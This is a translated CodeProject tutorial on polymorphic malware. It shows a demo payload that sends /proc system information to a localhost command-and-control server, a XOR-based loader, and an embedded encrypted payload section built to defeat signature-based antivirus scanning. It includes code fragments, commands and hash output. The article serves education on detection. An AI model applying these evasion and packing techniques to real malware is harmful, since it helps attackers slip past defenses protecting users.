65.9K
CodeProject 正在变化。 阅读更多。
Home

多态恶意软件的演变

starIconstarIconstarIconstarIconstarIcon

5.00/5 (13投票s)

2018 年 4 月 14 日

CPOL

35分钟阅读

viewsIcon

21293

downloadIcon

271

介绍这些应用程序如何自我防御免受扫描技术的侵害,以及它们如何从简单和幼稚的形式演变成更复杂的形态。

引言

为了检测并告知用户他们的计算机已被入侵,杀毒软件以及许多其他技术都会采用基于签名的检测技术。基于签名的检测随着时间而发展,并且在履行职责方面变得越来越高效,但仍然容易被狡猾的病毒编写者欺骗。

应用程序(因此病毒也是)被编写来执行许多操作。这些操作通常从联系命令与控制(C2)服务器到将感染传播给连接到本地网络的其他主机。给予的每个任务都为恶意软件提供了一个独特而个人的“特征”,任务越多,应用程序就越独特。我通常将此属性称为应用程序的“表面”。“表面”越大,它使用的技巧、注入和感染技术就越独特。

杀毒软件签名数据库支持系统扫描,它们提供特定应用程序(或应用程序部分)的签名,以识别威胁。在全球范围内,许多实验室和工程师分析特定威胁,提取软件的重要部分并将其插入此类数据库,然后这些数据库会更新到所有个人笔记本电脑、服务器和智能手机上的杀毒软件实例。

如果在其他地方发现类似的应用程序,它就会被识别为威胁,杀毒软件会决定如何清理受感染的系统。即使它决定清理;一些杀毒程序只是通知用户 PC 已被入侵。这种方法通常非常可靠,但需要病毒下载到杀毒软件实验室的 PC 上,由工程师进行分析,并插入数据库。所有这些步骤都需要时间来完成,在此期间,病毒可以自由地不受干扰地执行其任务。当然,杀毒软件还有其他手段,例如不基于签名的检测技术,而是基于启发式方法。因此,这些技术很难处理,并且容易出现误报和错误(将合法应用程序识别为病毒)。

多态恶意软件是一个古老的想法,它基本上通过某种“披风”来隐藏恶意软件,以欺骗基于签名的扫描或类似技术。隐藏方式有无数种,这也是为什么通过此类机制保护的恶意软件很危险并且被认为难以处理。编写多态恶意软件并非易事,因为微小的错误可能导致巨大的问题(使软件无法使用)。

尽管缺乏这种保护机制,但病毒在被杀毒软件公司检测并签名之前仍然可能致命。有很多长期存在的、没有任何保护的恶意软件的例子,因为它们足够沉默,不会引起守卫的注意而被所有人忽略。

背景

您需要了解加密技术、内存访问和保护、Makefile、C 和低级汇编以及 CPU 字节码。您还必须对 Linux 操作系统和构建工具(GCC 及相关工具)有深入的了解,以及 GDB 和 readelf 等调试工具。这里讨论的所有论点都是高级的,但我会尽量平滑地呈现它们。

架构和操作系统

该软件已在 Windows 下编写、测试和编译,但目前目标是 Linux 操作系统。我当前的编程工具是一个简单的 IDE,如 Eclipse,以及适用于 Windows 的 Linux 子系统,并安装了 Ubuntu Canonical 包。创建此类软件只需要这些。我将解释在 Linux 子系统下进行的编译步骤和使用的工具,但请注意我使用的是原生的 Windows 10 机器。

该应用程序针对 x64 Linux 架构,但也可以轻松地在 Windows 下使用(只需更改一些系统调用,使用 mingw 编译并适配 PE 文件)。

免责声明

本文旨在展示这项技术是如何演变的,从简单的想法到更复杂和扭曲的想法。您在此处找到的所有软件都只是一个存根,足以展示其功能的工作原理。恶意软件和类似应用程序需要(通常更复杂)的架构来执行其任务;安全不仅应用于应用程序本身,还对通信、同步、注入和数据提取是必不可少的。所有这些附加点都不在此处涵盖,因为它们超出了本文的范围。

本文附带的源代码基本上什么也没做,除了尝试保护自己免受扫描技术的侵害,并与一个假的 C2 服务器通信以交换有关机器设置和硬件的信息。我还要强烈劝阻您将此代码用于真实的邪恶目的,如果您这样做,请承担严重后果。

我邀请您探索代码,进行分析,并认识到个人计算机的脆弱性。我想为您提供更多关于网络威胁的知识,这样您就不会点击来自不寻常电子邮件的奇怪附件。我不知道人们怎么还能上当……

此处的所有软件都是原创的,并非从任何论坛或隐藏网页复制粘贴。我宁愿自己编写(运用我自己的大脑和想象力),而不是使用他人的作品。这是真正理解此类机制如何工作的唯一方法。

模拟恶意软件的目的

首先,编写此类恶意软件的目的是什么?

好吧,当然是为了学习和理解它们,但我们需要一个更现实的目的。让我们将其任务设定为从目标主机提取信息。此恶意软件的核心任务是检索其运行的 PC 的一些硬件信息。由于目标操作系统是 Linux,我们将谈论读取例如 /proc/cpuinfo/proc/meminfo/proc/cmdline/proc/version 等文件内容并将其发送回 C2 服务器。

我将把这个核心组件命名为“payload”。其他具有其他目的的组件将是恶意软件的不同 payload。依次,payload 的任务是:

  • 连接到 C2 服务器,位于 localhost,端口 4000
  • 读取 /proc 文件的内容
  • 将文件内容发送到 C2 服务器
  • 关闭连接并退出

正如我之前所述,没有采取任何措施来隐藏流量或将恶意软件传播到其他主机。此应用程序基本上不会损害您的 PC,除了将您的系统信息暴露给未知未来的威胁(根据这些信息进行 ad-hoc 准备)。

位于 poly/1_basic/pload.c 中的约 80 行程序将是此恶意软件的核心功能。随着软件复杂性的逐步提高,它们将进行轻微更新,但会保持相同的行为。

C2 服务器

C2 服务器也非常简单。

由于它将在一个被入侵的服务器上运行(仅用于处理传入连接),因此它不会有任何保护机制来隐藏自身免受其运行的系统侵害。服务器是极简的,但(遵循模块化方法)不是单一任务导向的。

数据提取模块(dext)在一个定义明确的端口(可随时修改)上运行,并将启动一个自主线程,监听来自恶意软件实例的传入连接。连接后,该模块将简单地在标准输出上打印传入连接的内容(即客户端提取的信息)。一个更好的实现是将这些信息组织到数据库中,并关联交换信息的 IP 地址和端口,以及生成一个临时 ID 来关联实例,该 ID 可以由服务器本身全局唯一化。

C2 服务器位于根目录下的 c2 文件夹中。要运行它,只需阅读源文件,编译它们,然后不带任何附加参数运行。

签名验证

项目还包含一个执行 SHA2 256 签名的实用程序。此应用程序将扫描任何给定的二进制文件以创建其加密强哈希(签名)。我们将看到这些签名如何识别我们的核心 payload,以及多态性如何帮助在入侵系统中掩盖我们的踪迹。

该应用程序不仅被指示计算整个文件的签名,还指示创建同一文件较小区域的签名。由于雪崩效应,更改一个字节会改变整个签名,因此对整个文件使用 SHA256 不足以获得有用的信息。好吧,整个文件哈希信息的可靠性接近 100%,因为一个精确复制的恶意软件将在系统中毫无疑问地被检测到,但同一恶意软件的下一代(修改和重新编译的)将逃脱检测。

签名创建通常还会考虑通配符和类似技巧。这意味着不提供任何有意义操作的指令不被考虑在内;在应用程序中添加 NOPs 或类似的字节码无助于避免检测。提供的工具考虑这一点,所以不要在生产环境中使用它

还要考虑到,不一定非要使用哈希函数来提取文件签名!只需选择和隔离一个有意义的代码/数据部分就足以识别恶意软件的独特特征(例如一个字符串、一个过程或一个特定的算法)。

未受保护的恶意软件

未受保护的恶意软件默认并非模拟或无用的。在某些情况下,投入多态性的精力是不值得的:如果您的目标不需要高成功率且时间有限,您可以编写一个完全不受保护的程序,并直接使用它。

一旦被检测到,应用程序将无法安全使用,因为它容易被杀毒软件检测到。如果投入的精力和金钱足够少,仅获得少量结果仍然值得。能够用一天编写的软件破解一个保护不足的系统仍然是一项不错的成就。

如果您在本地计算机上运行 c2 服务器,您将获得以下跟踪

xxx@xxx:/mnt/c/Projects/MOT/c2$ ./c2
Initializing Data Extraction module...
Listening for incoming reports...

然后您需要访问 poly/1_basic 目录,这是我们旅程的第一步。编译并运行 pload 软件。payload 控制台上不会显示任何日志;无需告知用户它已被入侵。在服务器端,如果一切正常并且可以建立连接,您将能够看到恶意软件报告的信息,这些信息将类似于:

processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 94
model name      : Intel(R) Core(TM) i5-6600K CPU @ 3.50GHz
stepping        : 3
microcode       : 0xffffffff
cpu MHz         : 3504.000
cache size      : 256 KB
physical id     : 0
siblings        : 4
core id         : 0
cpu cores       : 4
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 6
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 
                  clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp 
                  lm pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 fma cx16 xtpr 
                  pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave 
                  osxsave avx f16c rdrand
bogomips        : 7008.00
clflush size    : 64
cache_alignment : 64
address sizes   : 36 bits physical, 48 bits virtual
power management:

processor       : 1
vendor_id       : GenuineIntel
cpu family      : 6
model           : 94
model name      : Intel(R) Core(TM) i5-6600K CPU @ 3.50GHz
stepping        : 3
microcode       : 0xffffffff
cpu MHz         : 3504.000
cache size      : 256 KB
physical id     : 0
siblings        : 4
core id         : 1
cpu cores       : 4
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 6
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 
                  clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp 
                  lm pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 fma cx16 xtpr 
                  pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes 
                  xsave osxsave avx f16c rdrand
bogomips        : 7008.00
clflush size    : 64
cache_alignment : 64
address sizes   : 36 bits physical, 48 bits virtual

[...]

这表明 payload 正在正确地执行其(无用的)工作。

那么,我们如何检测具有此类功能的应用程序当前正在我们系统中运行?好吧,首先我们需要在 payload 上运行我们的文件签名工具(一旦找到它),并选择一组对我们有意义的签名。例如,您可以从 signer 文件夹中调用以下命令:

xxx@xxx:/mnt/c/Projects/MOT/signer$ ./sign_test.sh ../poly/1_basic/pload

一组包含不同大小数据的签名输出文件将在目标可执行文件的文件夹中准备好。对于每个输出文件,您将看到第一个签名,它识别整个文件。例如,如果我们转储 pload.4096.hash,我们将找到以下输出(每行是一个哈希块):

FILE:
c4 b1 18 c8 88 3b ca f2 a9 5c a1 c5 1f 4c 44 21 32 05 91 9d dd 66 95 7b 97 79 49 8b aa da 3d 2e

BLOCKS:
c7 e7 b1 ce 12 b6 72 65 de 3f 0c f1 6f e4 a6 21 6b 84 78 db e5 21 62 98 d4 19 b4 e7 7e 7e c0 89
a6 a2 f8 68 1a 8e 65 79 9e b4 5e 8e e7 33 68 9a 5b bc 22 43 87 52 7c e3 a2 64 f5 7b 03 5b 67 d2
65 66 3c 13 94 4a f3 b5 1e ea 11 c3 e5 49 71 1a 70 1d a1 4a 08 05 bb 30 33 09 5e e2 a8 42 a1 9a
6a 9a 70 33 4c bd dd 6c 05 9a 33 ed 5e 55 c0 97 dd 79 36 f5 0a 99 2b 14 25 19 6a 54 0f 24 34 77
b1 62 a5 b8 7d bc f6 24 34 63 c1 be 13 60 ef 1d 14 8d 6f 4c 6a 63 72 a2 28 2c 6c 59 99 de 12 35

第一行(突出显示)是整个 pload 文件的哈希值,而随后的行是 pload 应用程序的第一个、第二个、第三个(依此类推)4096 字节块的哈希值。再次,我必须重复,这种检测方法非常模拟,仅用于教育目的。在真实环境中,它的可靠性非常低。我只是用它来演示这种以及更复杂的签名机制可能产生的影响,因为根本问题仍然是相同的。

您可能会注意到,没有块生成类似的签名,因为用于签名生成的数据很有可能是唯一的,考虑到它的大小(4 KB)。与整个文件哈希类似,由于 SHA 或其他哈希过程的雪崩效应,这些大块很容易被微小修改所欺骗。

通过读取其他签名文件,您将开始看到从目标应用程序中选择小字节池的效果。使用 1024 (1 KB) 数据大小池的哈希转储开始显示签名的可能问题(突出显示,每行是一个哈希块):

FILE:
c4 b1 18 c8 88 3b ca f2 a9 5c a1 c5 1f 4c 44 21 32 05 91 9d dd 66 95 7b 97 79 49 8b aa da 3d 2e

BLOCKS:
d5 7c 10 66 09 29 60 a0 a1 10 9f 1c 10 5d 0d 39 70 f4 7b 91 42 ea 8b a3 8a 08 dc fa e7 69 2f ce
d9 cd 03 c7 0d 28 ef 30 97 0e d1 38 bf ef 24 5d df 4e e5 e2 88 65 57 f5 79 8f 25 18 45 a9 b9 02
5e 1f c3 c6 af ce ee 52 e0 2d 40 68 d4 54 45 66 8a 13 68 54 2c 71 3f 67 0a 2d 78 fe 08 61 19 b9
7e b7 8d d7 b4 35 e0 d3 97 33 8c 74 c7 7f 60 a9 a1 73 00 9f f4 22 5b e3 92 72 ae 64 b4 85 ab 3c
5f 70 bf 18 a0 86 00 70 16 e9 48 b0 4a ed 3b 82 10 3a 36 be a4 17 55 b6 cd df af 10 ac e3 c6 ef
5f 70 bf 18 a0 86 00 70 16 e9 48 b0 4a ed 3b 82 10 3a 36 be a4 17 55 b6 cd df af 10 ac e3 c6 ef
5f 70 bf 18 a0 86 00 70 16 e9 48 b0 4a ed 3b 82 10 3a 36 be a4 17 55 b6 cd df af 10 ac e3 c6 ef
76 c0 d9 16 71 98 84 86 88 ce d1 49 d0 5c fb 45 f6 5a ea fe e3 e0 83 00 b3 3a 25 e4 3b a3 79 af
99 1c 64 3b 41 ee 6b 80 a6 01 57 9e 3b bf 50 0d 78 c0 57 68 a5 40 9b 71 72 a7 3a 31 a8 b4 be 88
68 b4 cb 82 20 84 85 d4 1d cc db e1 56 8e 60 62 b0 27 6a d2 02 c2 67 2b 23 06 c5 a4 51 e5 76 56
c2 59 62 f6 8e fa 36 00 d9 c1 f9 f3 2a 4c 9a 6e 9b 44 6b 2b f1 0e 72 ff 28 da c1 37 39 46 01 ac
b7 d9 f4 39 ec a7 bd 8b bc ed b9 69 4b 55 7a c3 44 81 2b 6e b1 fe 62 5a ef b3 c6 9e 9b 42 07 0d
83 fe 09 c8 48 31 a1 fe 73 b4 98 11 17 4f 2e 97 5d 2b e9 b8 44 f9 a8 c3 94 71 5f ca 9c a7 8a b0
42 4c b6 2e dd 5a 1d 34 15 60 8b 91 c6 ba ae df 6f 5f 74 0e 20 13 02 22 4f 60 d7 a7 63 aa 7c 45
18 1c 6a 15 e5 0d 0e 08 4d 09 9b 75 64 d4 23 a7 5d b8 ae 6e 55 c7 12 c2 5d 32 b1 8d 29 c7 40 9f
b6 7f bc 99 de 2d 34 bf a7 2e 21 b5 2b e5 35 7b e9 0e 83 4f 9f c3 de fe 84 28 35 fc 28 ed 16 36
b1 62 a5 b8 7d bc f6 24 34 63 c1 be 13 60 ef 1d 14 8d 6f 4c 6a 63 72 a2 28 2c 6c 59 99 de 12 35

具有相似源数据的 pload 区域将生成相同的签名。用于签名的字节池越小,出现多个相同值签名的可能性就越大。更糟的是,如果您选择太小的数据池,也很可能在另一个(合法)应用程序中检测到类似的签名。这会导致误报,并可能触发您的扫描技术针对安全应用程序。

另一方面,如前所述,获取大数据池用于签名生成并不真正可靠,因为微小的修改可能会生成一个全新的威胁,而杀毒软件数据库尚未更新。您可以将签名与 ELF/PE 部分对齐,并假设代码/数据可以保持不变,而其他元素会发生变化,但这并非总是如此,您将再次被愚弄。

撇开所有这些考虑不谈,您仍然拥有该文件的签名(第一行),对于不考虑混淆的恶意软件来说,这足以进行检测。由于处理此类技术的复杂性,并非所有恶意软件都会进行自我保护,并且只是利用 0 天漏洞(或未修补系统上的旧漏洞)来传播并影响更多可能的受害者,直到被检测到。此外,不太复杂的恶意软件(如果您有源文件)可以很快地进行编辑,并以另一种方式进行改编以完成任务。这通常足以生成一个新版本,该版本通常不再可被此签名或类似系统检测到。

同样,就像外面的一切一样,您需要考虑成本和收益。投入半年时间开发一个高度模块化、混淆的恶意软件,却有可能立即被检测到并浪费所有这些努力,这真的值得吗?花一到两周时间,直接发布应用程序,难道不更好吗?一旦被检测到,为其生成所付出的努力将是最小的,而且您可能已经从它在野外运行了几个月。此外,您可以在一周内对其进行修改,得到一个略有不同的版本,该版本仍然可以再运行几个月。

恢复

  • 难度:低,就像写普通软件一样简单。
  • 混淆:无,因为它不尝试自我保护。
  • 安全性:无处不在,直到被检测和分析。
  • 检测方式:简单签名(一旦分析)或启发式(通过行为分析、使用的 API、连接和流量扫描等)。

幼稚的方式

假设,在您的战略分析之后,您考虑拥有一个混淆的应用程序。毕竟,您不想让安全人员的生活轻松,并且认为拥有一个(我希望您有更好的理由)是“很酷”的。第一个出现在您脑海中的想法是直接应用多态二进制文件:将整个 ELF/PE 文件加密!

应用此策略时,您需要考虑一些要点:

  • 您的应用程序在加密后不再有效
    任何尝试运行它的行为都会失败,因为加载器不将其识别为可执行文件。
  • 尝试执行它而不考虑加载器错误将导致应用程序崩溃(CPU 执行的随机字节码会导致非法操作和异常,甚至更糟,导致数据损坏)。
  • 现在您需要一个小的外部实用程序(加载器)来“准备”应用程序以合法方式运行,从而增加了恶意软件的可检测“表面”(表面越大,被签名检测到的可能性越大)。

请不要误解我的意思:“幼稚”方法并非愚蠢!对整个文件应用加密非常有用,因为使用不同的密钥会产生不同的加密数据。这意味着在这里,签名对于加密部分威胁是完全无用的。

此外,恶意软件不知道它将被加密/解密,并且内部复杂性会因此降低。您可以像编写任何其他普通应用程序一样编写它,而不必担心这个安全方面,因为它将由您的框架中的另一个组件执行。位于 poly/1_basic 中的加载器应用程序为您提供了在磁盘上加密/解密 ELF/PE 文件的必要功能。通过一些快速简单的修改,您可以选择直接在内存中执行这些操作,但您仍然需要操作系统加载器以某种方式访问此数据以执行重定位和加载。我给您的一些额外建议是指示解密后的恶意软件在运行时(在硬盘上)删除自身,否则未加密软件的痕迹将留在二级存储器中。

那么,它是如何工作的?好吧,一旦您编译了 1_basic 文件夹中的所有应用程序,并测试了 pload 功能正常,您就需要调用以下 shell 命令:

./ldr ./pload e 1234

加载器将使用密钥 1234 (e)ncrypt pload 可执行文件,生成的文件名为“encrypted”。正如您在这里看到的,您可以为同一个 ELF/PE 文件提供任何您想要的密钥。不同的密钥会导致不同的 payload,最终具有不同的签名。您甚至可以多次应用加密操作,使用不同的密钥,但您需要记住步骤和密钥才能在使用前解密它。

现在对加密后的恶意软件运行签名实用程序将产生以下一组签名(同样,每行都是一个哈希块):

FILE:
c7 e7 b1 ce 12 b6 72 65 de 3f 0c f1 6f e4 a6 21 6b 84 78 db e5 21 62 98 d4 19 b4 e7 7e 7e c0 89

BLOCKS:
a6 a2 f8 68 1a 8e 65 79 9e b4 5e 8e e7 33 68 9a 5b bc 22 43 87 52 7c e3 a2 64 f5 7b 03 5b 67 d2
65 66 3c 13 94 4a f3 b5 1e ea 11 c3 e5 49 71 1a 70 1d a1 4a 08 05 bb 30 33 09 5e e2 a8 42 a1 9a
6a 9a 70 33 4c bd dd 6c 05 9a 33 ed 5e 55 c0 97 dd 79 36 f5 0a 99 2b 14 25 19 6a 54 0f 24 34 77
b1 62 a5 b8 7d bc f6 24 34 63 c1 be 13 60 ef 1d 14 8d 6f 4c 6a 63 72 a2 28 2c 6c 59 99 de 12 35

正如您所见,现在所有签名都与原始恶意软件的签名不同。

应用的加密算法使用基本的 XOR 操作处理数据,该操作将先前加密的字节与当前评估的字节链接在一起,并用给定的密钥进行加盐。该机制非常简单,但足以隐藏应用程序。此外,对加密文件进行熵计算可能无法将其检测为加密文件,因为它不是使用加密强随机数池生成的(一些杀毒软件通过此机制检测加密文件)。

 /* XOR encrypt the buffer using a key */
for(i = 0, k = 0; i < br; i++, k = (k + 1) % ksize) {
    if(i == 0) {
        buf[i] = buf[i] ^ key[k];
    } else {
        buf[i] = buf[i] ^ buf[i - 1] ^ key[k];
    }
}

解密应用程序就像加密它一样简单,并且可以通过以下命令完成:

./ldr ./encrypted d 1234

此命令将要求加载器使用相同的密钥 (d)ecrypt 之前加密的 payload,此操作的结果将是一个清晰且准备好执行的文件,名为“decrypted”。如果您运行 C2 服务器,然后运行解密后的文件,您将体验到与未受保护的恶意软件类似的反馈。

恢复

  • 难度:易,只需额外的加载器逻辑。
  • 混淆
    • 未受保护的加载器:差,因为它不自我保护。
    • 受保护的加载器:优秀,因为现在加载器是变形的(最终将是另一篇文章)。
  • 安全性:硬盘和网络下载/上传。
  • 检测方式:简单签名(在加载器上)或对两个组件的启发式。RAM 扫描也有助于检测使用签名的混淆恶意软件(加载和执行的内存是清晰的,未受保护的)。

减小恶意软件的表面

正如您从之前的总结中可以猜到的,将加密应用于整个 payload 是一项好技术,因为它没有任何东西留在加密“披风”之外。这降低了将特定机制排除在保护之外的可能性,并使基于它们创建的任何签名都无效。这方面的缺点是,额外的组件设计和加载器增加了软件的表面,如果它们不受保护,基本上会破坏隐藏软件的所有努力(就像将数字乘以零一样)。由于加载器现在是您框架的一部分,并且您决定混淆它,因此您还需要保护它。加载器不能被加密。因此,由于它必须由 CPU 执行,并且不驻留在 enclave 中(参见 Intel SGX)。

这里有多种选择。您可以使用小型且易于修改的加载器,因为编写它们的精力将是最小的,但一旦被分析,它们将不再提供混淆。另一种方法是依赖变形,让加载器在每一代中改变其形状;这样加载器就永远不一样了,杀毒软件通常无法为其选择好的检测签名(尽管它们仍然可以尝试应用某种启发式方法)。

另一种方法是将所有内容嵌入到单个可执行文件中(一种轻度混淆)。这样,您将拥有一个“隐藏”在合法应用程序中的加载器(例如,您可以将恶意软件嵌入到一个小型实用程序或游戏中)。要检测这样的加载器,您需要应用数据池较小(您不能使用整个应用程序签名)的签名,因为应用程序现在包含非恶意代码,但这也会导致误报或其他问题。将相同的(或者更好,略有不同的)加载器放在不同的应用程序中足以创建一种轻度的混淆机制。

我将使用最后一种技术,因为使用变形将留待以后(可能在另一篇文章中)。加载器将包含在一个同时包含加载器和 payload 的应用程序中。加载器在某个时刻被触发(在示例应用程序中立即触发),这将导致恶意软件的解密和执行在内存中。值得强调的是,使用此技术不再会在硬盘上生成未加密的可执行文件;它们在加载之前都保持加密状态。

我们最终会得到类似这样的东西:

+------------------------+ <--- start of executable
|                        |
|    PE/ELF header(s)    |
|                        |
+------------------------+
|     .text section      | <--- legit executable section, where loader is
+------------------------+
|     .xdata section     | <--- payload, encrypted (you can have more than one)
+------------------------+
|     .data section      | <--- legit data section
+------------------------+
|                        |
|                        |
|          ...           |
|                        |
|                        |
+------------------------+ <--- end of executable

没有必要将 pload 分离到单独的部分,就像我在这个例子中所做的那样。您总是可以选择将所有内容放在代码部分,只加密您需要的部分。请注意,一个额外的实用程序(这里称为“butler”)将负责对 ELF/PE 文件执行初始加密,因为它被指示在使用 payload 之前始终执行解密。由于这里使用的加载器不聪明,它无法检测到没有应用加密。在运行 butler 之前运行恶意软件将导致解密清晰的 payload,从而导致应用程序崩溃(解密清晰的代码将生成无效的指令)。

此外,一个重要提示:为了避免 Windows/Linux 加载器干扰加密数据,您需要使用独立位置代码标志进行编译。这允许代码相对于本地代码进行编译,从而从软件中剥离重定位。如果您不执行此步骤,并且应用程序未加载到其首选地址,则加载器将修改重定位,而不考虑代码的状态(加密/清晰)。一些重定位将位于加密区域内,加载器将修改它们以匹配新的地址位置(在解密之前,因为加载器不知道代码已被加密)。这很可能导致灾难。

poly/2_all_in_one 目录中,您可以找到这个示例。调用 make 来编译该项目部分。
对恶意软件“mw”运行 signer 将产生以下结果(我是否需要重复每一行都是不同的哈希块?)

FILE:
73 fe 5e 01 ff 43 8d d6 54 0d 0b 26 ba 85 14 6d 80 03 30 b6 79 fe 4b 57 e1 5b 9d 65 64 0c 55 68

BLOCKS:
58 73 42 d0 34 37 33 cc e0 61 d8 a3 1a 73 a5 32 52 df 27 3e 25 3d d0 55 0c 0e 18 fa f9 25 25 03
89 9b e2 4b c2 16 e3 83 68 dd e0 3c ad 67 39 8f 12 97 e5 2b 1f 94 0e 2f 40 d1 00 22 0e 9f f3 fe
f7 50 54 47 6c 37 9d c2 79 ab 03 bf d3 04 b8 68 a1 f7 04 49 05 df 3e 36 bb 1b 02 f7 95 09 69 d7
d8 6e bc 50 da d2 f1 4c 00 96 40 61 9d 1c ee 0e 61 5e 55 29 2e 88 a0 21 03 f1 7e f6 34 f5 41 00
3c cf 55 97 30 de 55 00 03 67 c5 37 db cd b2 4a d5 4d b4 25 f1 0d 15 3f a9 30 46 3e 8c e6 ba f2

如果您使用 readelf 实用程序检查它,您会发现包含我们 payload 的附加部分。

xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ readelf -S ./mw
There are 38 section headers, starting at offset 0x3d98:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400238  00000238
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254
       0000000000000020  0000000000000000   A       0     0     4
  [ 3] .note.gnu.build-i NOTE             0000000000400274  00000274
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .gnu.hash         GNU_HASH         0000000000400298  00000298
       000000000000001c  0000000000000000   A       5     0     8
  [ 5] .dynsym           DYNSYM           00000000004002b8  000002b8
       00000000000001b0  0000000000000018   A       6     1     8
  [ 6] .dynstr           STRTAB           0000000000400468  00000468
       00000000000000c1  0000000000000000   A       0     0     1
  [ 7] .gnu.version      VERSYM           000000000040052a  0000052a
       0000000000000024  0000000000000002   A       5     0     2
  [ 8] .gnu.version_r    VERNEED          0000000000400550  00000550
       0000000000000040  0000000000000000   A       6     1     8
  [ 9] .rela.dyn         RELA             0000000000400590  00000590
       0000000000000018  0000000000000018   A       5     0     8
  [10] .rela.plt         RELA             00000000004005a8  000005a8
       0000000000000180  0000000000000018  AI       5    25     8
  [11] .init             PROGBITS         0000000000400728  00000728
       000000000000001a  0000000000000000  AX       0     0     4
  [12] .plt              PROGBITS         0000000000400750  00000750
       0000000000000110  0000000000000010  AX       0     0     16
  [13] .plt.got          PROGBITS         0000000000400860  00000860
       0000000000000008  0000000000000000  AX       0     0     8
  [14] .text             PROGBITS         0000000000400870  00000870
       0000000000000352  0000000000000000  AX       0     0     16
  [15] .xdata            PROGBITS         0000000000400bc2  00000bc2
       0000000000000277  0000000000000000  AX       0     0     1

[...]

就目前而言,该软件是不可用的。在尝试运行它之前,您需要 butler 来完成它的工作,并使用内部加载器将要解密的相同密钥来加密 payload。Butler 也需要匹配相同的加密算法,以便加载器能够正确执行反向操作(将始终使用相同的基本 XOR)。

xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ ./butler
64-bits executable detected...

如果控制台上没有报告任何错误,则表示操作已成功。再次运行签名实用程序将显示“mw”软件内部确实发生了一些变化,因为现在某些签名已经不同了。

FILE:
f8 a0 4a 72 fa 9b c8 8d ba 17 40 34 33 d8 47 f5 fc d8 b8 3d 65 98 c7 4c 88 c0 3d 2b d1 b4 a4 06

BLOCKS:
99 c9 2d a2 a3 fc 07 0a 23 cf c6 4f f3 7e 6a 73 1d 46 40 f2 4e d9 bd e8 3a 9a 94 43 08 8c 62 ae
89 9b e2 4b c2 16 e3 83 68 dd e0 3c ad 67 39 8f 12 97 e5 2b 1f 94 0e 2f 40 d1 00 22 0e 9f f3 fe
f7 50 54 47 6c 37 9d c2 79 ab 03 bf d3 04 b8 68 a1 f7 04 49 05 df 3e 36 bb 1b 02 f7 95 09 69 d7
d8 6e bc 50 da d2 f1 4c 00 96 40 61 9d 1c ee 0e 61 5e 55 29 2e 88 a0 21 03 f1 7e f6 34 f5 41 00
3c cf 55 97 30 de 55 00 03 67 c5 37 db cd b2 4a d5 4d b4 25 f1 0d 15 3f a9 30 46 3e 8c e6 ba f2

如果您转储 butler 实用程序执行之前和之后的两个版本的字节码,您还将详细了解恶意软件 payload 应用了哪些更改。

xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ make
gcc -Wall -g -fpic -o mw ./main.c ./pload.c -ldl
./main.c: In function ‘mem_decrypt’:
./main.c:18:17: warning: initialization makes pointer from integer 
 without a cast [-Wint-conversion]
  void * start = (long)pload_send - ((long)pload_send % ps);
                 ^
gcc -Wall -g -fpic -o butler ./butler.c
xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ hexdump ./mw > mw.txt
xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ ./butler
64-bits executable detected...
xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ hexdump ./mw > mw.after.txt
xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ diff ./mw.txt ./mw.after.txt
189,228c189,228
< 0000bc0 c3f3 4855 e589 8148 30ec 0004 8900 dcbd
< 0000bd0 fffb 48ff b589 fbd0 ffff 4864 048b 2825
< 0000be0 0000 4800 4589 31f8 c7c0 e485 fffb 00ff
< 0000bf0 0000 4800 858b fbd0 ffff 8d48 b735 0002
< 0000c00 4800 c789 17e8 fffc 48ff 8589 fbe8 ffff
< 0000c10 8348 e8bd fffb 00ff 1d75 8b48 d085 fffb
< 0000c20 48ff c689 8d48 8f3d 0002 b800 0000 0000
< 0000c30 8be8 fffb ebff 4874 958b fbe8 ffff 8d48
< 0000c40 f085 fffb 48ff d189 00ba 0004 be00 0001
< 0000c50 0000 8948 e8c7 fb16 ffff 8589 fbe4 ffff
< 0000c60 858b fbe4 ffff 6348 48d0 b58d fbf0 ffff
< 0000c70 858b fbdc ffff 00b9 0000 8900 e8c7 fb2e
< 0000c80 ffff 8548 79c0 480c 3d8d 024a 0000 cde8
< 0000c90 fffa 83ff e4bd fffb 00ff 9b7f 8b48 e885
< 0000ca0 fffb 48ff c789 d5e8 fffa 48ff 458b 64f8
< 0000cb0 3348 2504 0028 0000 0574 d1e8 fffa c9ff
< 0000cc0 55c3 8948 48e5 ec83 8910 fc7d 458b 48fc
< 0000cd0 358d 021e 0000 c789 e5e8 fffe 8bff fc45
< 0000ce0 8d48 1b35 0002 8900 e8c7 fed4 ffff 458b
< 0000cf0 48fc 358d 0218 0000 c789 c3e8 fffe 8bff
< 0000d00 fc45 8d48 1535 0002 8900 e8c7 feb2 ffff
< 0000d10 c990 55c3 8948 48e5 ec83 6430 8b48 2504
< 0000d20 0028 0000 8948 f845 c031 00ba 0000 be00
< 0000d30 0001 0000 02bf 0000 e800 fb12 ffff 4589
